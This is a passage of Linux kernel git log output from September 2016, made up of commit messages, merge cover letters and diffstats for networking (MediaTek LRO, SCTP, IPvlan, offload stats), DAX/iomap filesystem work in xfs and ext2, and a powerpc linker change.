4646651e754f3593761142c7a9e11c5ee2a983a6 Merge: 0fbc81b 004e6cc Author: David S. Miller Date: Mon Sep 19 01:40:54 2016 -0400 Merge branch 'mediatek-hw-lro' Nelson Chang says: ==================== net: ethernet: mediatek: add HW LRO functions The series add the large receive offload (LRO) functions by hardware and the ethtool functions to configure RX flows of HW LRO. changes since v3: - Respin the patch by the newer driver - Move the dts description of hwlro to optional properties changes since v2: - Add ndo_fix_features to prevent NETIF_F_LRO off while RX flow is programmed - Rephrase the dts property is a capability if the hardware supports LRO changes since v1: - Add HW LRO support - Add ethtool hooks to set LRO RX flows ==================== Signed-off-by: David S. Miller commit 004e6cc6c181aa109427594fca35eb55d89d780e Author: Nelson Chang Date: Sat Sep 17 23:50:57 2016 +0800 net: ethernet: mediatek: add the dts property to set if the HW supports LRO Add the dts property for the capability if the hardware supports LRO. Signed-off-by: Nelson Chang Signed-off-by: David S. Miller Documentation/devicetree/bindings/net/mediatek-net.txt | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 7aab747e5563ecbc9f3cb64ddea13fe7b9fee2bd Author: Nelson Chang Date: Sat Sep 17 23:50:56 2016 +0800 net: ethernet: mediatek: add ethtool functions to configure RX flows of HW LRO The codes add ethtool functions to set RX flows for HW LRO. Because the HW LRO hardware can only recognize the destination IP of TCP/IP RX flows, the ethtool command to add HW LRO flow is as below: ethtool -N [devname] flow-type tcp4 dst-ip [ip_addr] loc [0~1] Otherwise, cause the hardware can set total four destination IPs, each GMAC (GMAC1/GMAC2) can set two IPs separately at most. Signed-off-by: Nelson Chang Signed-off-by: David S. Miller drivers/net/ethernet/mediatek/mtk_eth_soc.c | 236 ++++++++++++++++++++++++++++ 1 file changed, 236 insertions(+) commit ee40681037c0e5fa0058447d7603a4fb77308bce Author: Nelson Chang Date: Sat Sep 17 23:50:55 2016 +0800 net: ethernet: mediatek: add HW LRO functions of PDMA RX rings The codes add the large receive offload (LRO) functions by hardware as below: 1) PDMA has total four RX rings that one is the normal ring, and others can be configured as LRO rings. 2) Only TCP/IP RX flows can be offloaded. The hardware can set four IP addresses at most, if the destination IP of the RX flow matches one of them, it has the chance to be offloaded. 3) There three RX flows can be offloaded at most, and one flow is mapped to one RX ring. 4) If there are more than three candidate RX flows, the hardware can choose three of them by throughput comparison results. Signed-off-by: Nelson Chang Signed-off-by: David S. Miller drivers/net/ethernet/mediatek/mtk_eth_soc.c | 215 +++++++++++++++++++++++++--- drivers/net/ethernet/mediatek/mtk_eth_soc.h | 75 +++++++++- 2 files changed, 265 insertions(+), 25 deletions(-) commit 0fbc81b3ad513fecaaf62b48f42b89fcd57f7682 Author: Hariprasad Shenai Date: Sat Sep 17 08:12:39 2016 +0530 chcr/cxgb4i/cxgbit/RDMA/cxgb4: Allocate resources dynamically for all cxgb4 ULD's Allocate resources dynamically to cxgb4's Upper layer driver's(ULD) like cxgbit, iw_cxgb4 and cxgb4i. Allocate resources when they register with cxgb4 driver and free them while unregistering. All the queues and the interrupts for them will be allocated during ULD probe only and freed during remove. Signed-off-by: Hariprasad Shenai Signed-off-by: David S. Miller drivers/crypto/chelsio/chcr_core.c | 10 +- drivers/infiniband/hw/cxgb4/device.c | 4 + drivers/net/ethernet/chelsio/cxgb4/cxgb4.h | 47 +- drivers/net/ethernet/chelsio/cxgb4/cxgb4_debugfs.c | 127 +---- drivers/net/ethernet/chelsio/cxgb4/cxgb4_main.c | 613 +++++---------------- drivers/net/ethernet/chelsio/cxgb4/cxgb4_uld.c | 223 ++++++-- drivers/net/ethernet/chelsio/cxgb4/cxgb4_uld.h | 31 +- drivers/net/ethernet/chelsio/cxgb4/sge.c | 18 +- drivers/scsi/cxgbi/cxgb4i/cxgb4i.c | 3 + drivers/target/iscsi/cxgbit/cxgbit_main.c | 3 + 10 files changed, 385 insertions(+), 694 deletions(-) commit e8bc8f9a670e26e91562e724a2114243898bd616 Author: Christophe Jaillet Date: Fri Sep 16 23:05:35 2016 +0200 sctp: Remove some redundant code In commit 311b21774f13 ("sctp: simplify sk_receive_queue locking"), a call to 'skb_queue_splice_tail_init()' has been made explicit. Previously it was hidden in 'sctp_skb_list_tail()' Now, the code around it looks redundant. The '_init()' part of 'skb_queue_splice_tail_init()' should already do the same. Signed-off-by: Christophe JAILLET Acked-by: Marcelo Ricardo Leitner Acked-by: Neil Horman Signed-off-by: David S. Miller net/sctp/ulpqueue.c | 3 --- 1 file changed, 3 deletions(-) commit 95357907ae73a8039c2106897ee2694f26ac3caf Author: Jesper Dangaard Brouer Date: Fri Sep 16 22:36:12 2016 +0200 mlx4: fix XDP_TX is acting like XDP_PASS on TX ring full The XDP_TX action can fail transmitting the frame in case the TX ring is full or port is down. In case of TX failure it should drop the frame, and not as now call 'break' which is the same as XDP_PASS. Fixes: 9ecc2d86171a ("net/mlx4_en: add xdp forwarding and data write support") Signed-off-by: Jesper Dangaard Brouer Reviewed-by: Brenden Blanco Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx4/en_rx.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 8ddda65315f08b1273095edc1afab4872ea22fe5 Merge: a5ea31f 4fbae7d Author: David S. Miller Date: Mon Sep 19 01:25:30 2016 -0400 Merge branch 'ipvlan-l3' Mahesh Bandewar says: ==================== IPvlan introduce l3s mode Same old problem with new approach especially from suggestions from earlier patch-series. First thing is that this is introduced as a new mode rather than modifying the old (L3) mode. So the behavior of the existing modes is preserved as it is and the new L3s mode obeys iptables so that intended conn-tracking can work. To do this, the code uses newly added l3mdev_rcv() handler and an Iptables hook. l3mdev_rcv() to perform an inbound route lookup with the correct (IPvlan slave) interface and then IPtable-hook at LOCAL_INPUT to change the input device from master to the slave to complete the formality. Supporting stack changes are trivial changes to export symbol to get IPv4 equivalent code exported for IPv6 and to allow netfilter hook registration code to allow caller to hold RTNL. Please look into individual patches for details. ==================== Signed-off-by: David S. Miller commit 4fbae7d83c98c30efcf0a2a2ac55fbb75ef5a1a5 Author: Mahesh Bandewar Date: Fri Sep 16 12:59:19 2016 -0700 ipvlan: Introduce l3s mode In a typical IPvlan L3 setup where master is in default-ns and each slave is into different (slave) ns. In this setup egress packet processing for traffic originating from slave-ns will hit all NF_HOOKs in slave-ns as well as default-ns. However same is not true for ingress processing. All these NF_HOOKs are hit only in the slave-ns skipping them in the default-ns. IPvlan in L3 mode is restrictive and if admins want to deploy iptables rules in default-ns, this asymmetric data path makes it impossible to do so. This patch makes use of the l3_rcv() (added as part of l3mdev enhancements) to perform input route lookup on RX packets without changing the skb->dev and then uses nf_hook at NF_INET_LOCAL_IN to change the skb->dev just before handing over skb to L4. Signed-off-by: Mahesh Bandewar CC: David Ahern Reviewed-by: David Ahern Signed-off-by: David S. Miller Documentation/networking/ipvlan.txt | 7 ++- drivers/net/Kconfig | 1 + drivers/net/ipvlan/ipvlan.h | 6 +++ drivers/net/ipvlan/ipvlan_core.c | 94 +++++++++++++++++++++++++++++++++++++ drivers/net/ipvlan/ipvlan_main.c | 87 +++++++++++++++++++++++++++++++--- include/uapi/linux/if_link.h | 1 + 6 files changed, 188 insertions(+), 8 deletions(-) commit e8bffe0cf964f0330595bb376b74921cccdaac88 Author: Mahesh Bandewar Date: Fri Sep 16 12:59:13 2016 -0700 net: Add _nf_(un)register_hooks symbols Add _nf_register_hooks() and _nf_unregister_hooks() calls which allow caller to hold RTNL mutex. Signed-off-by: Mahesh Bandewar CC: Pablo Neira Ayuso Signed-off-by: David S. Miller include/linux/netfilter.h | 2 ++ net/netfilter/core.c | 51 ++++++++++++++++++++++++++++++++++++++++++----- 2 files changed, 48 insertions(+), 5 deletions(-) commit d409b84768037ad03d1d73538d99fb902adf7365 Author: Mahesh Bandewar Date: Fri Sep 16 12:59:08 2016 -0700 ipv6: Export p6_route_input_lookup symbol Make ip6_route_input_lookup available outside of ipv6 the module similar to ip_route_input_noref in the IPv4 world. Signed-off-by: Mahesh Bandewar Signed-off-by: David S. Miller include/net/ip6_route.h | 3 +++ net/ipv6/route.c | 7 ++++--- 2 files changed, 7 insertions(+), 3 deletions(-) commit a5ea31f573098d39e6b29327d01c986607e118cb Merge: c13ed53 fc1bbb0 Author: David S. Miller Date: Sun Sep 18 22:33:47 2016 -0400 Merge branch 'net-offloaded-stats' Jiri Pirko says: ==================== net: return offloaded stats as default and expose original sw stats The problem we try to handle is about offloaded forwarded packets which are not seen by kernel. Let me try to draw it: port1 port2 (HW stats are counted here) \ / \ / \ / --(A)---- ASIC --(B)-- | (C) | CPU (SW stats are counted here) Now we have couple of flows for TX and RX (direction does not matter here): 1) port1->A->ASIC->C->CPU For this flow, HW and SW stats are equal. 2) port1->A->ASIC->C->CPU->C->ASIC->B->port2 For this flow, HW and SW stats are equal. 3) port1->A->ASIC->B->port2 For this flow, SW stats are 0. The purpose of this patchset is to provide facility for user to find out the difference between flows 1+2 and 3. In other words, user will be able to see the statistics for the slow-path (through kernel). Also note that HW stats are what someone calls "accumulated" stats. Every packet counted by SW is also counted by HW. Not the other way around. As a default the accumulated stats (HW) will be exposed to user so the userspace apps can react properly. This patchset add the SW stats (flows 1+2) under offload related stats, so in the future we can expose other offload related stat in a similar way. --- v9->v10: - patch 2/3 - removed unnecessary ()s as pointed out by Nik v8->v9: - patch 2/3 - add using of idxattr and prividx v7->v8: - patch 2/3 - move helping const from uapi to rtnetlink - cancel driver xstat nesting if it is empty v6->v7: - patch 1/3: - ndo interface changed to get the wanted stats type as an input. - change commit message. - patch 2/3: - create a nesting for offloaded stat and put SW stats under it. - change the ndo call to indicate which offload stats we wants. - change commit message. - patch 3/3: - change ndo implementation to match the changes in the previous patches. - change commit message. v5->v6: - patch 2/4 was dropped as requested by Roopa - patch 1/3: - comment changed to indicate that default stats are combined stats - commit massage changed - patch 2/3: (previously 3/4) - SW stats return nothing if there is no SW stats ndo v4->v5: - updated cover letter - patch3/4: - using memcpy directly to copy stats as requested by DaveM v3->v4: - patch1/4: - fixed "return ()" pointed out by EricD - patch2/4: - fixed if_nlmsg_size as pointed out by EricD v2->v3: - patch1/4: - added dev_have_sw_stats helper - patch2/4: - avoided memcpy as requested by DaveM - patch3/4: - use new dev_have_sw_stats helper v1->v2: - patch3/4: - fixed NULL initialization ==================== Signed-off-by: David S. Miller commit fc1bbb0f1831cc22326c86fb21d88cca44999b3e Author: Nogah Frankel Date: Fri Sep 16 15:05:38 2016 +0200 mlxsw: spectrum: Implement offload stats ndo and expose HW stats by default Change the default statistics ndo to return HW statistics (like the one returned by ethtool_ops). The HW stats are collected to a cache by delayed work every 1 sec. Implement the offload stat ndo. Add a function to get SW statistics, to be called from this function. Signed-off-by: Nogah Frankel Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlxsw/spectrum.c | 129 +++++++++++++++++++++++-- drivers/net/ethernet/mellanox/mlxsw/spectrum.h | 5 + 2 files changed, 127 insertions(+), 7 deletions(-) commit 69ae6ad2ff37911903a90256e216d7e7ae460002 Author: Nogah Frankel Date: Fri Sep 16 15:05:37 2016 +0200 net: core: Add offload stats to if_stats_msg Add a nested attribute of offload stats to if_stats_msg named IFLA_STATS_LINK_OFFLOAD_XSTATS. Under it, add SW stats, meaning stats only per packets that went via slowpath to the cpu, named IFLA_OFFLOAD_XSTATS_CPU_HIT. Signed-off-by: Nogah Frankel Signed-off-by: Jiri Pirko Acked-by: Nikolay Aleksandrov Signed-off-by: David S. Miller include/uapi/linux/if_link.h | 9 ++++ net/core/rtnetlink.c | 111 +++++++++++++++++++++++++++++++++++++++++-- 2 files changed, 116 insertions(+), 4 deletions(-) commit 2c9d85d4d82d9e0a62aad08bf50650804e68ed30 Author: Nogah Frankel Date: Fri Sep 16 15:05:36 2016 +0200 netdevice: Add offload statistics ndo Add a new ndo to return statistics for offloaded operation. Since there can be many different offloaded operation with many stats types, the ndo gets an attribute id by which it knows which stats are wanted. The ndo also gets a void pointer to be cast according to the attribute id. Signed-off-by: Nogah Frankel Signed-off-by: Jiri Pirko Reviewed-by: Nikolay Aleksandrov Signed-off-by: David S. Miller include/linux/netdevice.h | 12 ++++++++++++ 1 file changed, 12 insertions(+) commit c13ed534b8db543e4d8ead3885f4b06585a5771c Merge: 22da734 fbd05e4 Author: David S. Miller Date: Sun Sep 18 22:29:08 2016 -0400 Merge tag 'mac80211-next-for-davem-2016-09-16' of git://git.kernel.org/pub/scm/linux/kernel/git/jberg/mac80211-next Johannes Berg says: ==================== This time we have various things - all across the board: * MU-MIMO sniffer support in mac80211 * a create_singlethread_workqueue() cleanup * interface dump filtering that was documented but not implemented * support for the new radiotap timestamp field * send delBA in two unexpected conditions (as required by the spec) * connect keys cleanups - allow only WEP with index 0-3 * per-station aggregation limit to work around broken APs * debugfs improvement for the integrated codel algorithm and various other small improvements and cleanups. ==================== Signed-off-by: David S. Miller commit de2f4b3453d29934ceb41eccebd55ab087e17d6c Merge: e350e24 9b6a9ec Author: James Morris Date: Mon Sep 19 12:27:10 2016 +1000 Merge branch 'stable-4.9' of git://git.infradead.org/users/pcmoore/selinux into next commit 22da73492541736eff5f6a6634c732e36c52a133 Author: Colin Ian King Date: Fri Sep 16 10:43:38 2016 +0100 net: r6040: add in missing white space in error message text A couple of dev_err messages span two lines and the literal string is missing a white space between words. Add the white space and join the two lines into one. Signed-off-by: Colin Ian King Acked-by: FLorian Fainelli Signed-off-by: David S. Miller drivers/net/ethernet/rdc/r6040.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit 695b4ec0f0a9cf29deabd3ac075911d58b31f42b Author: Eric Dumazet Date: Thu Sep 15 16:20:01 2016 -0700 pkt_sched: fq: use proper locking in fq_dump_stats() When fq is used on 32bit kernels, we need to lock the qdisc before copying 64bit fields. Otherwise "tc -s qdisc ..." might report bogus values. Fixes: afe4fd062416 ("pkt_sched: fq: Fair Queue packet scheduler") Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller net/sched/sch_fq.c | 32 ++++++++++++++++++-------------- 1 file changed, 18 insertions(+), 14 deletions(-) commit db74a3335e0f645e3139c80bcfc90feb01d8e304 Author: Thadeu Lima de Souza Cascardo Date: Thu Sep 15 19:11:53 2016 -0300 openvswitch: use percpu flow stats Instead of using flow stats per NUMA node, use it per CPU. When using megaflows, the stats lock can be a bottleneck in scalability. On a E5-2690 12-core system, usual throughput went from ~4Mpps to ~15Mpps when forwarding between two 40GbE ports with a single flow configured on the datapath. This has been tested on a system with possible CPUs 0-7,16-23. After module removal, there were no corruption on the slab cache. Signed-off-by: Thadeu Lima de Souza Cascardo Cc: pravin shelar Acked-by: Pravin B Shelar Signed-off-by: David S. Miller net/openvswitch/flow.c | 42 ++++++++++++++++++++++-------------------- net/openvswitch/flow.h | 4 ++-- net/openvswitch/flow_table.c | 26 +++++++++----------------- 3 files changed, 33 insertions(+), 39 deletions(-) commit 40773966ccf1985a1b2bb570a03cbeaf1cbd4e00 Author: Thadeu Lima de Souza Cascardo Date: Thu Sep 15 19:11:52 2016 -0300 openvswitch: fix flow stats accounting when node 0 is not possible On a system with only node 1 as possible, all statistics is going to be accounted on node 0 as it will have a single writer. However, when getting and clearing the statistics, node 0 is not going to be considered, as it's not a possible node. Tested that statistics are not zero on a system with only node 1 possible. Also compile-tested with CONFIG_NUMA off. Signed-off-by: Thadeu Lima de Souza Cascardo Acked-by: Pravin B Shelar Signed-off-by: David S. Miller net/openvswitch/flow.c | 6 ++++-- net/openvswitch/flow_table.c | 5 +++-- 2 files changed, 7 insertions(+), 4 deletions(-) commit 829ff34868075ad57822783718de64acff4df303 Merge: fd9527f 41001fa Author: David S. Miller Date: Sun Sep 18 22:02:40 2016 -0400 Merge branch 'sctp-transmit-errs' Xin Long says: ==================== sctp: fix the transmit err process This patchset is to improve the transmit err process and also fix some issues. After this patchset, once the chunks are enqueued successfully, even if the chunks fail to send out, no matter because of nodst or nomem, no err retruns back to users any more. Instead, they are taken care of by retransmit. v1->v2: - add more details to the changelog in patch 1/6 - add Fixes: tag in patch 2/6, 3/6 - also revert 69b5777f2e57 in patch 3/6 ==================== Signed-off-by: David S. Miller commit 41001faf95faaff7c4f4f93c6bb544ee227ad0cc Author: Xin Long Date: Wed Sep 14 02:04:23 2016 +0800 sctp: not return ENOMEM err back in sctp_packet_transmit As David and Marcelo's suggestion, ENOMEM err shouldn't return back to user in transmit path. Instead, sctp's retransmit would take care of the chunks that fail to send because of ENOMEM. This patch is only to do some release job when alloc_skb fails, not to return ENOMEM back any more. Besides, it also cleans up sctp_packet_transmit's err path, and fixes some issues in err path: - It didn't free the head skb in nomem: path. - No need to check nskb in no_route: path. - It should goto err: path if alloc_skb fails for head. - Not all the NOMEMs should free nskb. Signed-off-by: Xin Long Signed-off-by: David S. Miller net/sctp/output.c | 47 ++++++++++++++++++++++------------------------- 1 file changed, 22 insertions(+), 25 deletions(-) commit 83dbc3d4a38411ef38f680d7045c8478cc9c5a56 Author: Xin Long Date: Wed Sep 14 02:04:22 2016 +0800 sctp: make sctp_outq_flush/tail/uncork return void sctp_outq_flush return value is meaningless now, this patch is to make sctp_outq_flush return void, as well as sctp_outq_fail and sctp_outq_uncork. Signed-off-by: Xin Long Signed-off-by: David S. Miller include/net/sctp/structs.h | 4 ++-- net/sctp/outqueue.c | 19 +++++++------------ net/sctp/sm_sideeffect.c | 9 ++++----- 3 files changed, 13 insertions(+), 19 deletions(-) commit 645194409b0634a43890ec27c491c368b3bffc07 Author: Xin Long Date: Wed Sep 14 02:04:21 2016 +0800 sctp: save transmit error to sk_err in sctp_outq_flush Every time when sctp calls sctp_outq_flush, it sends out the chunks of control queue, retransmit queue and data queue. Even if some trunks are failed to transmit, it still has to flush all the transports, as it's the only chance to clean that transmit_list. So the latest transmit error here should be returned back. This transmit error is an internal error of sctp stack. I checked all the places where it uses the transmit error (the return value of sctp_outq_flush), most of them are actually just save it to sk_err. Except for sctp_assoc/endpoint_bh_rcv, they will drop the chunk if it's failed to send a REPLY, which is actually incorrect, as we can't be sure the error that sctp_outq_flush returns is from sending that REPLY. So it's meaningless for sctp_outq_flush to return error back. This patch is to save transmit error to sk_err in sctp_outq_flush, the new error can update the old value. Eventually, sctp_wait_for_* would check for it. Signed-off-by: Xin Long Signed-off-by: David S. Miller net/sctp/output.c | 3 ++- net/sctp/outqueue.c | 21 ++++++++++++--------- 2 files changed, 14 insertions(+), 10 deletions(-) commit b61c654f9b3f1a271217e46c893f80565b1f754d Author: Xin Long Date: Wed Sep 14 02:04:20 2016 +0800 sctp: free msg->chunks when sctp_primitive_SEND return err Last patch "sctp: do not return the transmit err back to sctp_sendmsg" made sctp_primitive_SEND return err only when asoc state is unavailable. In this case, chunks are not enqueued, they have no chance to be freed if we don't take care of them later. This Patch is actually to revert commit 1cd4d5c4326a ("sctp: remove the unused sctp_datamsg_free()"), commit 69b5777f2e57 ("sctp: hold the chunks only after the chunk is enqueued in outq") and commit 8b570dc9f7b6 ("sctp: only drop the reference on the datamsg after sending a msg"), to use sctp_datamsg_free to free the chunks of current msg. Fixes: 8b570dc9f7b6 ("sctp: only drop the reference on the datamsg after sending a msg") Signed-off-by: Xin Long Signed-off-by: David S. Miller include/net/sctp/structs.h | 1 + net/sctp/chunk.c | 13 +++++++++++++ net/sctp/outqueue.c | 1 - net/sctp/socket.c | 8 ++++++-- 4 files changed, 20 insertions(+), 3 deletions(-) commit 66388f2c08dfa38071f9eceae7bb29060d9be9aa Author: Xin Long Date: Wed Sep 14 02:04:19 2016 +0800 sctp: do not return the transmit err back to sctp_sendmsg Once a chunk is enqueued successfully, sctp queues can take care of it. Even if it is failed to transmit (like because of nomem), it should be put into retransmit queue. If sctp report this error to users, it confuses them, they may resend that msg, but actually in kernel sctp stack is in charge of retransmit it already. Besides, this error probably is not from the failure of transmitting current msg, but transmitting or retransmitting another msg's chunks, as sctp_outq_flush just tries to send out all transports' chunks. This patch is to make sctp_cmd_send_msg return avoid, and not return the transmit err back to sctp_sendmsg Fixes: 8b570dc9f7b6 ("sctp: only drop the reference on the datamsg after sending a msg") Signed-off-by: Xin Long Signed-off-by: David S. Miller net/sctp/sm_sideeffect.c | 16 +++++----------- 1 file changed, 5 insertions(+), 11 deletions(-) commit 2c89791eeb6f3873349c240345c1879ef6a16f63 Author: Xin Long Date: Wed Sep 14 02:04:18 2016 +0800 sctp: remove the unnecessary state check in sctp_outq_tail Data Chunks are only sent by sctp_primitive_SEND, in which sctp checks the asoc's state through statetable before calling sctp_outq_tail. So there's no need to check the asoc's state again in sctp_outq_tail. Besides, sctp_do_sm is protected by lock_sock, even if sending msg is interrupted by timer events, the event's processes still need to acquire lock_sock first. It means no others CMDs can be enqueue into side effect list before CMD_SEND_MSG to change asoc->state, so it's safe to remove it. This patch is to remove redundant asoc->state check from sctp_outq_tail. Signed-off-by: Xin Long Signed-off-by: David S. Miller net/sctp/outqueue.c | 53 ++++++++++++++--------------------------------------- 1 file changed, 14 insertions(+), 39 deletions(-) commit 25f4e70291a309749a93b30ffa58d2eac9f200f8 Author: Christoph Hellwig Date: Mon Sep 19 11:30:29 2016 +1000 ext2: use iomap to implement DAX Signed-off-by: Christoph Hellwig Reviewed-by: Ross Zwisler Signed-off-by: Dave Chinner fs/ext2/Kconfig | 1 + fs/ext2/ext2.h | 1 + fs/ext2/file.c | 76 +++++++++++++++++++++++++++++++++++++++++++++++++++------ fs/ext2/inode.c | 63 +++++++++++++++++++++++++++++++++++++++++++---- 4 files changed, 129 insertions(+), 12 deletions(-) commit 6750ad71986d286a666e6245f160b89f4c15e7b0 Author: Christoph Hellwig Date: Mon Sep 19 11:28:39 2016 +1000 ext2: stop passing buffer_head to ext2_get_blocks Signed-off-by: Christoph Hellwig Reviewed-by: Ross Zwisler Signed-off-by: Dave Chinner fs/ext2/inode.c | 39 ++++++++++++++++++++++++--------------- 1 file changed, 24 insertions(+), 15 deletions(-) commit 6c31f495d19975b7d2e824ee614934d5db113afe Author: Christoph Hellwig Date: Mon Sep 19 11:28:38 2016 +1000 xfs: use iomap to implement DAX Another users of buffer_heads bytes the dust. Signed-off-by: Christoph Hellwig Reviewed-by: Ross Zwisler Signed-off-by: Dave Chinner fs/xfs/xfs_file.c | 61 +++++++++++++++--------------------------------------- fs/xfs/xfs_iomap.c | 11 ++++++---- 2 files changed, 24 insertions(+), 48 deletions(-) commit e372843a407ddff1e4c4acc7cdf3df9987bf48cc Author: Christoph Hellwig Date: Mon Sep 19 11:26:41 2016 +1000 xfs: refactor xfs_setfilesize Rename the current function to __xfs_setfilesize and add a non-static wrapper that also takes care of creating the transaction. This new helper will be used by the new iomap-based DAX path. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner fs/xfs/xfs_aops.c | 31 +++++++++++++++++++++---------- fs/xfs/xfs_aops.h | 1 + 2 files changed, 22 insertions(+), 10 deletions(-) commit 66642c5c1dea411dd2842159f9f297ce8e914994 Author: Christoph Hellwig Date: Mon Sep 19 11:26:39 2016 +1000 xfs: take the ilock shared if possible in xfs_file_iomap_begin We always just read the extent first, and will later lock exlusively after first dropping the lock in case we actually allocate blocks. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner fs/xfs/xfs_iomap.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit 17879e8f865f4ed8b6f9041a2687ad40f13ae460 Author: Christoph Hellwig Date: Mon Sep 19 11:24:50 2016 +1000 xfs: fix locking for DAX writes So far DAX writes inherited the locking from direct I/O writes, but the direct I/O model of using shared locks for writes is actually wrong for DAX. For direct I/O we're out of any standards and don't have to provide the Posix required exclusion between writers, but for DAX which gets transparently enable on applications without any knowledge of it we can't simply drop the requirement. Even worse this only happens for aligned writes and thus doesn't show up for many typical use cases. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner fs/xfs/xfs_file.c | 20 +------------------- 1 file changed, 1 insertion(+), 19 deletions(-) commit a7d73fe6c538fdba42635c0b8e73382fcd4bd667 Author: Christoph Hellwig Date: Mon Sep 19 11:24:50 2016 +1000 dax: provide an iomap based fault handler Very similar to the existing dax_fault function, but instead of using the get_block callback we rely on the iomap_ops vector from iomap.c. That also avoids having to do two calls into the file system for write faults. Signed-off-by: Christoph Hellwig Reviewed-by: Ross Zwisler Signed-off-by: Dave Chinner fs/dax.c | 114 ++++++++++++++++++++++++++++++++++++++++++++++++++++ include/linux/dax.h | 2 + 2 files changed, 116 insertions(+) commit a254e568128804fc2f18490af617197a1d36675e Author: Christoph Hellwig Date: Mon Sep 19 11:24:49 2016 +1000 dax: provide an iomap based dax read/write path This is a much simpler implementation of the DAX read/write path that makes use of the iomap infrastructure. It does not try to mirror the direct I/O calling conventions and thus doesn't have to deal with i_dio_count or the end_io handler, but instead leaves locking and filesystem-specific I/O completion to the caller. Signed-off-by: Christoph Hellwig Reviewed-by: Ross Zwisler Signed-off-by: Dave Chinner fs/dax.c | 114 ++++++++++++++++++++++++++++++++++++++++++++++++++++ include/linux/dax.h | 4 ++ 2 files changed, 118 insertions(+) commit b0d5e82fcf8249b5aca52d235c1cfabd68b253e8 Author: Christoph Hellwig Date: Mon Sep 19 11:24:49 2016 +1000 dax: don't pass buffer_head to copy_user_dax This way we can use this helper for the iomap based DAX implementation as well. Signed-off-by: Christoph Hellwig Reviewed-by: Ross Zwisler Signed-off-by: Dave Chinner fs/dax.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit 1aaba0958ed371bd121751d74d98f2a76395edad Author: Christoph Hellwig Date: Mon Sep 19 11:24:49 2016 +1000 dax: don't pass buffer_head to dax_insert_mapping This way we can use this helper for the iomap based DAX implementation as well. Signed-off-by: Christoph Hellwig Reviewed-by: Ross Zwisler Signed-off-by: Dave Chinner fs/dax.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit befb503ca6e648cc5ed3e3a472d5b5887a60e0f2 Author: Christoph Hellwig Date: Mon Sep 19 11:24:49 2016 +1000 iomap: expose iomap_apply outside iomap.c This allows the DAX code to use it. Signed-off-by: Christoph Hellwig Reviewed-by: Ross Zwisler Signed-off-by: Dave Chinner fs/internal.h | 11 +++++++++++ fs/iomap.c | 5 +---- 2 files changed, 12 insertions(+), 4 deletions(-) commit ecd50729f772f0b982ddbb76c16ee4bc8f495e17 Author: Christoph Hellwig Date: Mon Sep 19 11:24:37 2016 +1000 iomap: add IOMAP_F_NEW flag Signed-off-by: Christoph Hellwig Reviewed-by: Ross Zwisler Signed-off-by: Dave Chinner fs/xfs/xfs_iomap.c | 1 + include/linux/iomap.h | 1 + 2 files changed, 2 insertions(+) commit 51446f5ba44874db4d2a93a6eb61b133e5ec1b3e Author: Christoph Hellwig Date: Mon Sep 19 11:10:21 2016 +1000 xfs: rewrite and optimize the delalloc write path Currently xfs_iomap_write_delay does up to lookups in the inode extent tree, which is rather costly especially with the new iomap based write path and small write sizes. But it turns out that the low-level xfs_bmap_search_extents gives us all the information we need in the regular delalloc buffered write path: - it will return us an extent covering the block we are looking up if it exists. In that case we can simply return that extent to the caller and are done - it will tell us if we are beyoned the last current allocated block with an eof return parameter. In that case we can create a delalloc reservation and use the also returned information about the last extent in the file as the hint to size our delalloc reservation. - it can tell us that we are writing into a hole, but that there is an extent beyoned this hole. In this case we can create a delalloc reservation that covers the requested size (possible capped to the next existing allocation). All that can be done in one single routine instead of bouncing up and down a few layers. This reduced the CPU overhead of the block mapping routines and also simplified the code a lot. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner fs/xfs/libxfs/xfs_bmap.c | 89 +---------- fs/xfs/libxfs/xfs_bmap.h | 10 +- fs/xfs/xfs_iomap.c | 395 +++++++++++++++++++++-------------------------- fs/xfs/xfs_iomap.h | 2 - 4 files changed, 181 insertions(+), 315 deletions(-) commit 85a6e764ff5485dfe1edf5e47290e4d32ea866d5 Author: Christoph Hellwig Date: Mon Sep 19 11:09:48 2016 +1000 xfs: make xfs_inode_set_eofblocks_tag cheaper for the common case For long growing file writes we will usually already have the eofblocks tag set when adding more speculative preallocations. Add a flag in the inode to allow us to skip the the fairly expensive AG-wide spinlocks and multiple radix tree operations in that case. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner fs/xfs/xfs_icache.c | 14 ++++++++++++++ fs/xfs/xfs_inode.h | 1 + 2 files changed, 15 insertions(+) commit f8e3a8257538af8dbdd15d098c0cfba6ccbabe7a Author: Christoph Hellwig Date: Mon Sep 19 11:09:28 2016 +1000 xfs: factor our a helper to calculate the EOF alignment And drop the pointless mp argument to xfs_iomap_eof_align_last_fsb, while we're at it. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner fs/xfs/xfs_iomap.c | 31 +++++++++++++++++++++---------- 1 file changed, 21 insertions(+), 10 deletions(-) commit e9c4973638beff4b346d802fd9443975b041035d Author: Christoph Hellwig Date: Mon Sep 19 11:09:12 2016 +1000 xfs: move xfs_bmbt_to_iomap up We'll need it earlier in the file soon, so the unchanged function to the top of xfs_iomap.c Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner fs/xfs/xfs_iomap.c | 52 ++++++++++++++++++++++++++-------------------------- 1 file changed, 26 insertions(+), 26 deletions(-) commit 7de3b27bac47da9de08409df1d69664acbb72197 Author: Michael Ellerman Date: Thu Sep 15 15:11:59 2016 +1000 powerpc: Ensure .mem(init|exit).text are within _stext/_etext In our linker script we open code the list of text sections, because we need to include the __ftr_alt sections, which are arch-specific. This means we can't use TEXT_TEXT as defined in vmlinux.lds.h, and so we don't have the MEM_KEEP() logic for memory hotplug sections. If we build the kernel with the gold linker, and with 